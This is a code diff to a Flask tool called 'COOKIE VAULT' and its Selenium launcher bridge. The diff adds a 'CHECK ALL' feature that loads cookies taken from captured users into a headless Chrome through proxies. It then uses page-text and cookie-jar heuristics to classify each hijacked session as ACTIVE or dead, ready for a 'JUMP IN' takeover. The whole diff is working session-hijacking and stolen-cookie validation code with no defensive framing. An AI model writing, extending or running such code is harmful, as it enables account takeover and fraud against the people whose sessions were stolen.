diff --git a/app.py b/app.py
index 5e908d5..08cceb3 100644
--- a/app.py
+++ b/app.py
@@ -375,6 +375,61 @@ def _smart_scan(root):
 
 # ---------------- LOGIN (session-1 bridge) ----------------
 
+CHECK_STATE = {}  # file -> {status, detail}
+CHECK_LOCK = threading.Lock()
+
+@app.route("/check_all")
+def check_all():
+    domain = request.args.get("domain", "").strip()
+    if not domain:
+        return redirect(url_for("index"))
+    stem = domain.strip(".")
+    c = db()
+    sess = c.execute("""SELECT source_file FROM cookies WHERE domain LIKE ?
+                        GROUP BY source_file LIMIT 300""", ("%" + stem + "%",)).fetchall()
+    c.close()
+    files = [s[0] for s in sess]
+    with CHECK_LOCK:
+        for f in files:
+            CHECK_STATE.setdefault(f, {"status": "queued", "detail": ""})
+    threading.Thread(target=_run_checks, args=(domain, files), daemon=True).start()
+    return redirect(url_for("sessions", domain=domain, checking=1))
+
+def _run_checks(domain, files):
+    stem = domain.strip(".")
+    for f in files:
+        with CHECK_LOCK:
+            CHECK_STATE[f] = {"status": "checking", "detail": ""}
+        try:
+            c = db()
+            rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
+                                WHERE domain LIKE ? AND source_file = ? LIMIT 500""",
+                             ("%" + stem + "%", f)).fetchall()
+            c.close()
+            if not rows:
+                with CHECK_LOCK:
+                    CHECK_STATE[f] = {"status": "empty", "detail": "no cookies"}
+                continue
+            payload = {"domain": domain, "proxy": "", "cookies": [
+                {"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
+                 "expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
+            req = urllib.request.Request("http://127.0.0.1:5067/check",
+                                         data=json.dumps(payload).encode(),
+                                         headers={"Content-Type": "application/json"})
+            with urllib.request.urlopen(req, timeout=90) as r:
+                res = json.load(r)
+            with CHECK_LOCK:
+                CHECK_STATE[f] = {"status": res.get("status", "error"),
+                                  "detail": res.get("detail", "")[:150]}
+        except Exception as e:
+            with CHECK_LOCK:
+                CHECK_STATE[f] = {"status": "error", "detail": str(e)[:150]}
+
+@app.route("/check_status")
+def check_status():
+    with CHECK_LOCK:
+        return jsonify(CHECK_STATE)
+
 @app.route("/sessions")
 def sessions():
     domain = request.args.get("domain", "").strip()
@@ -388,13 +443,16 @@ def sessions():
                      ("%" + stem + "%",)).fetchall()
     total = c.execute("SELECT COUNT(*) FROM cookies WHERE domain LIKE ?", ("%" + stem + "%",)).fetchone()[0]
     c.close()
-    return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total)
+    return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total,
+                                  checks=dict(CHECK_STATE), checking=request.args.get("checking"))
 
 SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><title>Sessions — COOKIE VAULT</title></head><body>
 <header><div class=brand>&#128100; sessions for {{domain}}</div>
+<a class=btn href="/check_all?domain={{domain|urlencode}}" style=margin-left:8px>&#9889; CHECK ALL</a>
 <a class=btn href="/" style=margin-left:auto>&larr; back</a></header>
 <main>
-<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.</div>
+{% if checking %}<meta http-equiv="refresh" content="5">{% endif %}
+<div class=flash>{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP. <b>Check All</b> walks every session and reports login status (page auto-refreshes while checking).</div>
 <div style="margin-bottom:12px;display:flex;gap:10px;align-items:center">
 <span class=muted>egress:</span>
 <select id=px style="background:#0d0f14;color:#d7dae0;border:1px solid #2c3547;padding:8px;border-radius:6px">
@@ -406,12 +464,16 @@ SESSIONS_PAGE = STYLE + r"""<!doctype html><html><head><meta charset=utf-8><titl
 </select>
 </div>
 <table>
-<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th></th></tr>
+<tr><th>session (source file)</th><th>cookies</th><th>alive</th><th>login status</th><th></th></tr>
 {% for s in sess %}
 <tr>
   <td><b>{{s[0]}}</b></td>
   <td>{{s[1]}}</td>
   <td class="{{'ok' if s[2] else 'warn'}}">{{'&#10003; fresh' if s[2] else 'expired?'}}</td>
+  <td>{% set st = checks.get(s[0]) %}{% if st %}
+      <span class="{{'ok' if st.status in ('ACTIVE','ACTIVE?') else ('warn' if st.status in ('unclear','checking','queued') else 'muted')}}">{{st.status}}</span>
+      <span class=muted style="font-size:11px">{{st.detail[:80]}}</span>
+      {% else %}<span class=muted>&mdash;</span>{% endif %}</td>
   <td><a class="btn green jump" href="/open?domain={{domain|urlencode}}&file={{s[0]|urlencode}}&proxy=rotate">JUMP IN &rarr;</a></td>
 </tr>
 {% endfor %}
diff --git a/launcher_bridge.py b/launcher_bridge.py
index edadd01..65b351f 100644
--- a/launcher_bridge.py
+++ b/launcher_bridge.py
@@ -25,6 +25,20 @@ class Handler(BaseHTTPRequestHandler):
             return
         self.send_response(404); self.end_headers()
     def do_POST(self):
+        if urlparse(self.path).path == "/check":
+            try:
+                ln = int(self.headers.get("Content-Length", 0))
+                data = json.loads(self.rfile.read(ln))
+                domain = data.get("domain", "")
+                cookies = data.get("cookies", [])
+                proxy = data.get("proxy", "")
+                if not domain or not cookies:
+                    self._json(400, {"ok": False, "error": "domain and cookies required"}); return
+                res = check_login(domain, cookies, proxy)
+                self._json(200, res)
+            except Exception as e:
+                self._json(500, {"ok": False, "error": str(e)})
+            return
         if urlparse(self.path).path != "/launch":
             self.send_response(404); self.end_headers(); return
         try:
@@ -117,6 +131,126 @@ def launch(domain, cookies, tok, proxy=""):
         try: driver.quit()
         except Exception: pass
 
+def check_login(domain, cookies, proxy=""):
+    """Load the site with these cookies headlessly, detect login state. Returns dict."""
+    from selenium import webdriver
+    from selenium.webdriver.chrome.options import Options
+    opts = Options()
+    opts.add_argument("--headless=new")
+    opts.add_argument("--no-first-run")
+    opts.add_argument("--no-default-browser-check")
+    opts.add_argument("--window-size=1280,800")
+    opts.add_argument("--disable-gpu")
+    import tempfile
+    prof = tempfile.mkdtemp(prefix="chk_", dir=SESSION_DIR)
+    opts.add_argument(r"--user-data-dir=" + prof)
+    if proxy:
+        opts.add_argument("--proxy-server=" + proxy)
+    from selenium.webdriver.chrome.service import Service
+    svc = Service(executable_path=os.path.join(SESSION_DIR, "..", "chromedriver.exe"))
+    driver = None
+    try:
+        driver = webdriver.Chrome(service=svc, options=opts)
+        host = domain.lstrip(".")
+        try:
+            driver.get(f"https://{host}/")
+        except Exception:
+            return {"status": "dead", "detail": "site unreachable"}
+        time.sleep(1.0)
+        added = 0
+        for ck in cookies:
+            try:
+                c = {"name": ck.get("name"), "value": ck.get("value", ""),
+                     "domain": ck.get("domain", ""), "path": ck.get("path", "/") or "/",
+                     "secure": bool(ck.get("secure"))}
+                if not c["name"]:
+                    continue
+                exp = ck.get("expiry") or 0
+                try: exp = int(float(exp))
+                except Exception: exp = 0
+                if exp > 0: c["expiry"] = exp
+                try:
+                    driver.add_cookie(c); added += 1
+                except Exception:
+                    c2 = dict(c); c2.pop("expiry", None)
+                    try: driver.add_cookie(c2); added += 1
+                    except Exception: pass
+            except Exception:
+                pass
+        try:
+            driver.get(f"https://{host}/")
+        except Exception:
+            return {"status": "dead", "detail": "reload failed"}
+        time.sleep(2.5)
+        body = ""
+        try:
+            body = driver.page_source[:200000].lower()
+        except Exception:
+            pass
+        # cookie-jar proof: did OUR cookies actually land in the browser jar?
+        jar_names = set()
+        try:
+            for ck in driver.get_cookies():
+                jar_names.add(ck.get("name", ""))
+        except Exception:
+            pass
+        sent_names = {ck.get("name") for ck in cookies if ck.get("name")}
+        kept = len(sent_names & jar_names)
+        # login detection heuristics
+        logged_in_markers = ["sign out", "log out", "logout", "my account", "account settings",
+                             "signed in as", "avatar-btn", "img-avatar", "profile-menu",
+                             "creator studio", "youtube studio", "switch account",
+                             "ggpht.com", "googleusercontent", "authuser=", "/u/0/",
+                             "authenticated", "welcome back", "account-icon", "avatar-image",
+                             "data-avatar", "member-menu", "user-menu", "my profile"]
+        logged_out_markers = ["sign in", "log in", "create account", "register now",
+                             "signup", "sign-up"]
+        li = sum(1 for m in logged_in_markers if m in body)
+        lo = sum(1 for m in logged_out_markers if m in body)
+        # "login" alone is ambiguous (appears in code), require 2+ strong logout markers
+        if "sign in" in body and "log in" in body:
+            lo += 1
+        title = ""
+        try: title = driver.title[:120]
+        except Exception: pass
+        if li >= 2 and li > lo:
+            status = "ACTIVE"
+        elif li > 0 and lo == 0:
+            status = "ACTIVE?"
+        elif lo >= 2:
+            status = "dead"
+        else:
+            status = "unclear"
+        # For JS-heavy sites (YouTube etc.) the DOM never shows markers in raw HTML.
+        # Decisive signal = session cookies were RETAINED after reload (sites drop dead
+        # session cookies on reload when the server rejects them).
+        if status == "unclear" and sent_names:
+            if kept >= max(2, len(sent_names) // 2):
+                status = "ACTIVE?"
+                detail_jar = f"jar kept {kept}/{len(sent_names)} session cookies"
+            elif kept == 0:
+                status = "dead"
+                detail_jar = f"jar kept 0/{len(sent_names)} — server dropped session"
+            else:
+                status = "unclear"
+                detail_jar = f"jar kept {kept}/{len(sent_names)}"
+        else:
+            detail_jar = f"jar {kept}/{len(sent_names)}" if sent_names else ""
+        return {"status": status, "detail": (f"{detail_jar} title={title}" if detail_jar else f"title={title}"),
+                "added": added,
+                "shot": base64.b64encode(_png(driver, "check")).decode() if _png(driver, "check") else ""}
+    except Exception as e:
+        return {"status": "error", "detail": str(e)[:200]}
+    finally:
+        if driver:
+            try: driver.quit()
+            except Exception: pass
+        try:
+            import shutil
+            shutil.rmtree(prof, ignore_errors=True)
+        except Exception:
+            pass
+
 def _png(driver, stage):
     try:
         return driver.get_screenshot_as_png()